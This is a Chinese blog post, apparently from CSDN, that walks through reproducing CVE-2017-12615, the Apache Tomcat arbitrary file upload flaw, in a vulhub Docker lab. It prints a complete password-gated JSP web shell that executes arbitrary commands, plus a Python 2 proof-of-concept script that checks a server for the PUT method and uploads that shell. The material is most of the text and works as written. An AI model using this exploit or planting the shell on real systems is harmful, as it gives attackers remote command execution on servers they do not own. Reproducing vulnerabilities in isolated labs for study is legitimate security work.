CVE-2017-12615(Tomcat任意文件上传漏洞)复现

本文详细介绍了Apache Tomcat CVE-2017-12615漏洞,包括影响版本、环境搭建、漏洞利用过程及Python POC脚本。展示了如何利用该漏洞进行任意脚本上传并执行命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一:漏洞介绍

1.影响版本:Apache Tomcat 7.0.0 - 7.0.81
2.可以任意上传脚本文件

二:环境搭建

利用vulhub搭建环境
1、进入vulhub对应的漏洞目录下

cd  /vulhub/tomcat/CVE-2017-12615

2.一键搭建环境

docker-compose up -d
三:漏洞利用

1、进入http://your-ip:8080,查看环境是否搭建成功。

在这里插入图片描述
2、对页面抓包。
在这里插入图片描述
EXP:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

3、go
在这里插入图片描述
响应201,上传成功。
4、打开http://your-ip:8080/123.jsp,检查是否可以查看上传文件。
在这里插入图片描述
成功。
5、打开http://your-ip:8080/123.jsp?&pwd=023&cmd=id
在这里插入图片描述
成功运行cmd命令

大神的python POC脚本

运行这个脚本文件,会生成一个shell,直接打开,http://your-ip:8080/生成的shell?&pwd=023&cmd=id,直接可以检测利用漏洞。

#! -*- coding:utf-8 -*- 
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/ffffzz')
    headers = dict(conn.getresponse().getheaders())
    if 'allow' in headers and \
       headers['allow'].find('PUT') > 0 :
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        url = "/" + str(int(time.time()))+'.jsp/'
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
        conn.request( method='PUT', url= url, body=body)
        res = conn.getresponse()
        if res.status  == 201 :
            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
            print 'shell:', 'http://' + sys.argv[1] + url[:-1]
        elif res.status == 204 :
            print 'file exists'
        else:
            print 'error'
        conn.close()
    else:
        print 'Server not vulnerable'
        
except Exception,e:
    print 'Error:', e

在这里插入图片描述
直接打开
在这里插入图片描述

移除环境
docker-compose down
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值